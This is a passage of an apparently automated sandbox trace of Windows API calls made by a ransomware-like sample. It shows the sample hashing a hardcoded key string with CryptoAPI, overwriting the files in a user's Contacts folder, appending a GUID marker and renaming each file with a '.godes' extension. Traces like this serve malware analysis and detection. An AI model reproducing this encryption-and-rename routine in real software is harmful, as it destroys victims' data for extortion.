lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x496, lpOverlapped=0x0) returned 1 [0112.906] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0112.906] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.906] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.906] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0112.907] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.907] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.907] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.907] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0112.907] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.907] GetLastError () returned 0x0 [0112.907] SetLastError (dwErrCode=0x0) [0112.907] GetLastError () returned 0x0 [0112.907] SetLastError (dwErrCode=0x0) [0112.907] GetLastError () returned 0x0 [0112.907] SetLastError (dwErrCode=0x0) [0112.907] GetLastError () returned 0x0 [0112.907] SetLastError (dwErrCode=0x0) [0112.907] GetLastError () returned 0x0 [0112.907] SetLastError (dwErrCode=0x0) [0112.907] GetLastError () returned 0x0 [0112.907] SetLastError (dwErrCode=0x0) [0112.907] GetLastError () returned 0x0 [0112.907] SetLastError (dwErrCode=0x0) [0112.907] GetLastError () returned 0x0 [0112.907] SetLastError (dwErrCode=0x0) [0112.907] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.908] SetLastError (dwErrCode=0x0) [0112.908] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] GetLastError () returned 0x0 [0112.909] SetLastError (dwErrCode=0x0) [0112.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0112.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32593e0 | out: hHeap=0x660000) returned 1 [0112.909] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.909] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0112.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0112.909] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4a0) returned 0x331ea60 [0112.909] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.910] WriteFile (in: hFile=0x624, lpBuffer=0x331ea60*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x331ea60*, lpNumberOfBytesWritten=0x3b2fb24*=0x491, lpOverlapped=0x0) returned 1 [0112.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.910] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0112.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0112.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0112.910] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0112.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.910] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.910] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.910] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.910] CloseHandle (hObject=0x624) returned 1 [0112.911] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0112.911] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0112.911] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0112.911] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.godes")) returned 1 [0112.911] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.911] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.912] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0112.912] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0112.912] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.912] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0112.912] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.912] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0112.912] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.913] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=1172) returned 1 [0112.913] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.915] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.915] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.917] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.917] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.917] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.917] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x494, lpOverlapped=0x0) returned 1 [0112.917] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.917] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0112.917] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.917] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.917] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0112.918] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.918] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.918] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.918] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0112.918] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.918] SetLastError (dwErrCode=0x0) [0112.918] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.919] GetLastError () returned 0x0 [0112.919] SetLastError (dwErrCode=0x0) [0112.920] GetLastError () returned 0x0 [0112.920] SetLastError (dwErrCode=0x0) [0112.920] GetLastError () returned 0x0 [0112.920] SetLastError (dwErrCode=0x0) [0112.920] GetLastError () returned 0x0 [0112.920] SetLastError (dwErrCode=0x0) [0112.920] GetLastError () returned 0x0 [0112.920] SetLastError (dwErrCode=0x0) [0112.920] GetLastError () returned 0x0 [0112.920] SetLastError (dwErrCode=0x0) [0112.920] GetLastError () returned 0x0 [0112.920] SetLastError (dwErrCode=0x0) [0112.920] GetLastError () returned 0x0 [0112.920] SetLastError (dwErrCode=0x0) [0112.920] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0112.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32593e0 | out: hHeap=0x660000) returned 1 [0112.920] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.920] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0112.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0112.920] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x490) returned 0x331ea60 [0112.920] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.920] WriteFile (in: hFile=0x624, lpBuffer=0x331ea60*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x331ea60*, lpNumberOfBytesWritten=0x3b2fb24*=0x48f, lpOverlapped=0x0) returned 1 [0112.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.920] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.920] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0112.921] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0112.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0112.921] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0112.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.921] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.921] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.921] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.921] CloseHandle (hObject=0x624) returned 1 [0112.922] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0112.922] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0112.922] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0112.922] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.godes")) returned 1 [0112.923] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.923] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0112.924] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0112.924] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326dd60 | out: hHeap=0x660000) returned 1 [0112.924] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326dd60 [0112.924] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.926] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.926] 